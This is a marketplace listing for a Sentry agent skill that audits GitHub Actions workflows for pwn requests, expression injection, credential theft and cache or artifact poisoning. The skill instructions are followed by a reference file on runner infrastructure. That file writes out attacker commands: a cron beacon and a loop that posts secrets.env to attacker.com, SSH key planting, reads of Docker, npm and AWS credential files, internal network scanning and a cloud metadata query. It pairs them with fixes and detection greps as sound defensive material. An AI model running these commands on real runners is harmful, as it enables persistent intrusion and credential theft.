Gha Security Review
SentryOfficialPublished by Sentry
- Skill
- Review and audit
- Cloud and DevOps
- Apache-2.0
- Medium risk
AutoGineer summary
Written by AutoGineer from the skill’s own files, not by the author
This skill provides a structured methodology for auditing GitHub Actions workflows to identify exploitable vulnerabilities. It focuses on real-world attack patterns such as pwn requests, expression injection, credential theft, and supply chain attacks. The skill requires users to trace complete attack paths and provide concrete proof-of-concept scenarios for any reported findings, ensuring that only actionable, high-confidence vulnerabilities are identified.
What it does
- Audits .github/workflows/ and associated configuration files for security flaws.
- Identifies vulnerabilities exploitable by external attackers without repository write access.
- Maps workflow triggers to specific threat models like pull_request_target or issue_comment.
- Provides guidance on validating findings through attack path tracing.
- Categorizes findings by confidence level to prioritize actionable security issues.
- Suggests remediation steps for confirmed vulnerabilities.
When to use it
- When you need to perform a security audit of your GitHub Actions CI/CD pipeline.
- When investigating potential workflow exploitation vectors in a repository.
- When reviewing pull requests for CI/CD configuration security.
- When you need to verify if a workflow is susceptible to external attacker manipulation.
Advantages
- Focuses on concrete, exploitable attack paths rather than theoretical risks.
- Reduces noise by excluding vulnerabilities that require repository write access.
- Provides clear, actionable criteria for classifying findings.
- Includes specific detection patterns for common CI/CD vulnerabilities.
Usage examples
- “Review my GitHub Actions workflows for security vulnerabilities.”
- The agent will scan the .github/workflows/ directory, analyze triggers and permissions, and report any high or medium confidence vulnerabilities with a PoC.
- “Check if my CI is vulnerable to pwn requests.”
- The agent will specifically audit workflows using pull_request_target and check if they unsafely check out or execute code from forks.
- “Audit my issue_comment workflows for command injection.”
- The agent will examine workflows triggered by issue_comment to ensure they include proper author_association checks to prevent unauthorized command execution.
Install
Download the skill as a ZIP:
https://mp-staging.autogineer.com/agent-skills/getsentry/gha-security-review/downloadUnzip it into the cross-client skills folder of your project:
mkdir -p .agents/skills && unzip gha-security-review.zip -d .agents/skills
Documentation by Sentry
<!-- Attack patterns and real-world examples sourced from the HackerBot Claw campaign analysis by StepSecurity (2025): https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation -->
GitHub Actions Security Review
Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it.
This skill encodes attack patterns from real GitHub Actions exploits — not generic CI/CD theory.
Scope
Review the workflows provided (file, diff, or repo). Research the codebase as needed to trace complete attack paths before reporting.
Files to Review
.github/workflows/*.yml— all workflow definitionsaction.yml/action.yaml— composite actions in the repo.github/actions/*/action.yml— local reusable actionsConfig files loaded by workflows:
CLAUDE.md,AGENTS.md,Makefile, shell scripts under.github/
Out of Scope
Workflows in other repositories (only note the dependency)
GitHub App installation permissions (note if relevant)
Threat Model
Only report vulnerabilities exploitable by an external attacker — someone without write access to the repository. The attacker can open PRs from forks, create issues, and post comments. They cannot push to branches, trigger workflow_dispatch, or trigger manual workflows.
Do not flag vulnerabilities that require write access to exploit:
workflow_dispatchinput injection — requires write access to triggerExpression injection in
push-only workflows on protected branchesworkflow_callinput injection where all callers are internalSecrets in
workflow_dispatch/schedule-only workflows
Confidence
Report only HIGH and MEDIUM confidence findings. Do not report theoretical issues.
| Confidence | Criteria | Action |
|---|---|---|
| HIGH | Traced the full attack path, confirmed exploitable | Report with exploitation scenario and fix |
| MEDIUM | Attack path partially confirmed, uncertain link | Report as needs verification |
| LOW | Theoretical or mitigated elsewhere | Do not report |
For each HIGH finding, provide all five elements:
Entry point — How does the attacker get in? (fork PR, issue comment, branch name, etc.)
Payload — What does the attacker send? (actual code/YAML/input)
Execution mechanism — How does the payload run? (expression expansion, checkout + script, etc.)
Impact — What does the attacker gain? (token theft, code execution, repo write access)
PoC sketch — Concrete steps an attacker would follow
If you cannot construct all five, report as MEDIUM (needs verification).
Step 1: Classify Triggers and Load References
For each workflow, identify triggers and load the appropriate reference:
| Trigger / Pattern | Load Reference |
|---|---|
pull_request_target | references/pwn-request.md |
issue_comment with command parsing | references/comment-triggered-commands.md |
${{ }} in run: blocks | references/expression-injection.md |
| PATs / deploy keys / elevated credentials | references/credential-escalation.md |
| Checkout PR code + config file loading | references/ai-prompt-injection-via-ci.md |
| Third-party actions (especially unpinned) | references/supply-chain.md |
permissions: block or secrets usage | references/permissions-and-secrets.md |
| Self-hosted runners, cache/artifact usage | references/runner-infrastructure.md |
| Any confirmed finding | references/real-world-attacks.md |
Load references selectively — only what's relevant to the triggers found.
Step 2: Check for Vulnerability Classes
Check 1: Pwn Request
Does the workflow use pull_request_target AND check out fork code?
Look for
actions/checkoutwithref:pointing to PR headLook for local actions (
./.github/actions/) that would come from the forkCheck if any
run:step executes code from the checked-out PR
Check 2: Expression Injection
Are ${{ }} expressions used inside run: blocks in externally-triggerable workflows?
Map every
${{ }}expression in everyrun:stepConfirm the value is attacker-controlled (PR title, branch name, comment body — not numeric IDs, SHAs, or repository names)
Confirm the expression is in a
run:block, notif:,with:, or job-levelenv:
Check 3: Unauthorized Command Execution
Does an issue_comment-triggered workflow execute commands without authorization?
Is there an
author_associationcheck?Can any GitHub user trigger the command?
Does the command handler also use injectable expressions?
Check 4: Credential Escalation
Are elevated credentials (PATs, deploy keys) accessible to untrusted code?
What's the blast radius of each secret?
Could a compromised workflow steal long-lived tokens?
Check 5: Config File Poisoning
Does the workflow load configuration from PR-supplied files?
AI agent instructions:
CLAUDE.md,AGENTS.md,.cursorrulesBuild configuration:
Makefile, shell scripts
Check 6: Supply Chain
Are third-party actions securely pinned to full SHAs?
Pin third-party / external actions and reusable workflows only
Do not flag first-party
actions/*orgithub/*on version tagsDo not flag same-repo / vendored (
./.github/actions/...) as supply-chain pinning issuesOnly report when the job has secrets, OIDC, write token, release, deploy, package, or signing power — unprivileged read-only CI is not a finding
Check 7: Permissions and Secrets
Are workflow permissions minimal? Are secrets properly scoped?
Check 8: Runner Infrastructure
Are self-hosted runners, caches, or artifacts used securely?
Safe Patterns (Do Not Flag)
Before reporting, check if the pattern is actually safe:
| Pattern | Why Safe |
|---|---|
pull_request_target WITHOUT checkout of fork code | Never executes attacker code |
${{ github.event.pull_request.number }} in run: | Numeric only — not injectable |
${{ github.repository }} / github.repository_owner | Repo owner controls this |
${{ secrets.* }} | Not an expression injection vector |
${{ }} in if: conditions | Evaluated by Actions runtime, not shell |
${{ }} in with: inputs | Passed as string parameters, not shell-evaluated |
| Third-party actions pinned to full SHA | Immutable reference |
First-party actions/* / github/* on version tags | Outside third-party pinning policy — do not flag |
| Same-repo / vendored local actions | Not third-party supply chain (review pwn-request separately) |
pull_request trigger (not _target) | Runs in fork context with read-only token |
Any expression in workflow_dispatch/schedule/push to protected branches | Requires write access — outside threat model |
Key distinction: ${{ }} is dangerous in run: blocks (shell expansion) but safe in if:, with:, and env: at the job/step level (Actions runtime evaluation).
Step 3: Validate Before Reporting
Before including any finding, read the actual workflow YAML and trace the complete attack path:
Read the full workflow — don't rely on grep output alone
Trace the trigger — confirm the event and check
if:conditions that gate executionTrace the expression/checkout — confirm it's in a
run:block or actually references fork codeConfirm attacker control — verify the value maps to something an external attacker sets
Check existing mitigations — env var wrapping, author_association checks, restricted permissions, SHA pinning
If any link is broken, mark MEDIUM (needs verification) or drop the finding.
If no checks produced a finding, report zero findings. Do not invent issues.
Step 4: Report Findings
## GitHub Actions Security Review
### Findings
#### [GHA-001] [Title] (Severity: Critical/High/Medium)
- **Workflow**: `.github/workflows/release.yml:15`
- **Trigger**: `pull_request_target`
- **Confidence**: HIGH — confirmed through attack path tracing
- **Exploitation Scenario**:
1. [Step-by-step attack]
- **Impact**: [What attacker gains]
- **Fix**: [Code that fixes the issue]
### Needs Verification
[MEDIUM confidence items with explanation of what to verify]
### Reviewed and Cleared
[Workflows reviewed and confirmed safe]If no findings: "No exploitable vulnerabilities identified. All workflows reviewed and cleared."
Files
- ATTRIBUTION.mdAdded by AutoGineer862 B
- LICENSELicence file added by AutoGineer10.5 KiB
- SKILL.md8.8 KiB
- references/ai-prompt-injection-via-ci.md5.3 KiB
- references/comment-triggered-commands.md5.5 KiB
- references/credential-escalation.md6.5 KiB
- references/expression-injection.md8.4 KiB
- references/permissions-and-secrets.md7.7 KiB
- references/pwn-request.md5.8 KiB
- references/real-world-attacks.md9.2 KiB
- references/runner-infrastructure.md7.9 KiB
- references/supply-chain.md9.4 KiB
references/runner-infrastructure.md
Runner Infrastructure
Overview
GitHub Actions runners, caches, and artifacts form the infrastructure layer of CI/CD. Self-hosted runners persist between jobs (unlike GitHub-hosted runners), and cache/artifact poisoning can create cross-workflow attack paths.
Self-Hosted Runner Risks
Persistence Between Jobs
GitHub-hosted runners are ephemeral — each job gets a fresh VM that's destroyed after use. Self-hosted runners are persistent — files, processes, and credentials from one job remain available to the next.
# DANGEROUS: Self-hosted runner with pull_request trigger
on: pull_request # Fork PRs can run on self-hosted runners
jobs:
build:
runs-on: self-hosted # Persistent runner!
steps:
- uses: actions/checkout@v4
- run: npm install && npm testAttack Vectors on Self-Hosted Runners
Credential Persistence
# Attacker's code in a fork PR running on self-hosted runner:
# 1. Install a persistent backdoor
echo '* * * * * curl https://attacker.com/beacon' >> /var/spool/cron/crontabs/runner
# 2. Drop SSH keys
mkdir -p ~/.ssh
echo "attacker-public-key" >> ~/.ssh/authorized_keys
# 3. Steal cached credentials from previous jobs
cat ~/.docker/config.json # Docker registry credentials
cat ~/.npmrc # npm tokens
cat ~/.aws/credentials # AWS credentials from previous deploymentsProcess Injection
# Attacker leaves a background process that intercepts future jobs
nohup bash -c 'while true; do
if [ -f /home/runner/work/*/secrets.env ]; then
curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect
fi
sleep 10
done' &>/dev/null &Network Access
Self-hosted runners often sit inside corporate networks:
# Attacker uses runner as pivot point
# Scan internal network
nmap -sn 10.0.0.0/24
# Access internal services
curl http://internal-api.corp.example.com/admin
# nosemgrep: skill-cloud-metadata-access
curl http://169.254.169.254/latest/meta-data/ # Cloud metadata (example of attack vector)Cache Poisoning
How Actions Cache Works
actions/cache stores and restores files between workflow runs using a key. The cache is scoped to a branch, but feature branches can read caches from the default branch.
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ hashFiles('package-lock.json') }}Attack: Poisoning the Cache
If an attacker can write to the cache (via a compromised workflow or PR build), subsequent jobs that restore the cache will use the poisoned content.
# Workflow on pull_request (fork code runs)
steps:
- uses: actions/checkout@v4
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ hashFiles('package-lock.json') }}
- run: npm install # Fork's package.json may install malicious deps
# Cache now contains attacker's node_modulesLater, a trusted workflow on main restores this cache:
# Workflow on push to main
steps:
- uses: actions/checkout@v4
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ hashFiles('package-lock.json') }}
# Restores attacker's poisoned node_modules if hash matches!
- run: npm test # Runs with poisoned dependenciesCache Scope Rules
| Branch | Can Read Cache From | Can Write Cache To |
|---|---|---|
| Default branch (main) | main only | main |
| Feature branch | Feature + main | Feature only |
| PR from fork | Fork branch + main | Fork branch |
Key risk: Fork PRs can read caches from main and write to their own branch cache. If the cache key can be predicted/matched, poisoning is possible.
Artifact Poisoning
Cross-Workflow Artifact Attacks
actions/upload-artifact and actions/download-artifact pass data between workflows. If an untrusted workflow uploads an artifact, a trusted workflow that downloads it may execute poisoned content.
# Workflow 1: Build (on pull_request — fork code)
on: pull_request
steps:
- uses: actions/checkout@v4
- run: npm run build
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/ # Fork code controls what's in dist/
# Workflow 2: Deploy (on workflow_run — trusted)
on:
workflow_run:
workflows: [Build]
types: [completed]
steps:
- uses: actions/download-artifact@v4
with:
name: build-output
run-id: ${{ github.event.workflow_run.id }}
- run: ./deploy.sh dist/ # Deploying fork's build output!Artifact Scope Rules
Artifacts are scoped to a workflow run
workflow_runtriggered workflows can download artifacts from the triggering runArtifacts are not signed or verified — there's no integrity check
Detection Patterns
# Find self-hosted runner usage
grep -rn "runs-on:.*self-hosted" .github/workflows/
# Find cache usage
grep -rn "actions/cache" .github/workflows/
# Find artifact upload/download
grep -rn "actions/upload-artifact\|actions/download-artifact" .github/workflows/
# Check if self-hosted runners are used with PR triggers
for f in .github/workflows/*.yml; do
if grep -q "self-hosted" "$f" && grep -q "pull_request" "$f"; then
echo "ALERT: $f uses self-hosted runner with PR trigger"
fi
done
# Find workflow_run workflows that download artifacts
grep -B5 "download-artifact" .github/workflows/*.yml | grep "workflow_run"
# Check cache keys for predictability
grep -A3 "actions/cache" .github/workflows/*.yml | grep "key:"The Fix
Self-Hosted Runners
# SAFE: Use GitHub-hosted runners for untrusted code
on: pull_request
jobs:
build:
runs-on: ubuntu-latest # Ephemeral, destroyed after job
steps:
- uses: actions/checkout@v4
- run: npm test
# If self-hosted runners are required:
# 1. Use ephemeral/auto-scaling runners (actions-runner-controller)
# 2. Never run fork PRs on self-hosted runners
# 3. Use runner groups to isolate trusted/untrusted workloadsCache Safety
# SAFER: Include workflow context in cache key
- uses: actions/cache@v4
with:
path: node_modules
key: npm-${{ github.ref }}-${{ hashFiles('package-lock.json') }}
# Branch-specific key reduces cross-branch poisoning risk
# SAFEST: Don't cache across trust boundaries
# Use separate cache keys for PR builds vs. main branch buildsArtifact Safety
# SAFER: Verify artifact integrity before using
on:
workflow_run:
workflows: [Build]
types: [completed]
jobs:
deploy:
# Only deploy artifacts from trusted branches
if: github.event.workflow_run.head_branch == 'main'
steps:
- uses: actions/download-artifact@v4
- run: |
# Verify artifact checksums or signatures
sha256sum -c checksums.txt
./deploy.sh dist/Severity Guidelines
| Pattern | Severity | Rationale |
|---|---|---|
Self-hosted runner with pull_request (forks enabled) | Critical | Fork code runs on persistent infrastructure |
Self-hosted runner with pull_request_target + fork checkout | Critical | Fork code + secrets + persistence |
| Cache used across trust boundaries (PR + main) | Medium | Cache poisoning possible but requires key match |
| Artifact downloaded from untrusted workflow run | High | Untrusted build output deployed to production |
Self-hosted runner for push to protected branches only | Low | Only trusted committers can trigger |
References
Requirements and compatibility
Works with: Claude Code, Claude apps, OpenAI Codex, GitHub Copilot, Cursor, Gemini CLI, Kiro, OpenCode, Goose, Amp, Roo Code, JetBrains Junie, Factory Droid, Devin (ex-Windsurf), Mistral Vibe, OpenHands, Letta
“Works with” means the tool reads the open Agent Skills format; a skill written for one tool may use features others lack.
Needs: Declares allowed tools
Security
What our scanner noticed· Medium risk
- References to credential files
- Instructions that use the network
- Downloads piped into a shell
A static scan is not a guarantee. Skills are third-party content: review a skill before you let an agent use it.
Attribution and licence
- Published by
- Sentry
- Publisher
- Sentry (Official)
- Source
- getsentry/skills · skills/gha-security-review · commit e94f222
- Licence
- Apache License 2.0 (redistribution allowed)
- LICENSE (added by AutoGineer from LICENSE)
- ATTRIBUTION.md (written by AutoGineer)
- Synced
AutoGineer is not affiliated with or endorsed by Sentry.
Download ZIP
The ZIP holds the skill’s files, its licence files and an ATTRIBUTION.md. Download gha-security-review.zip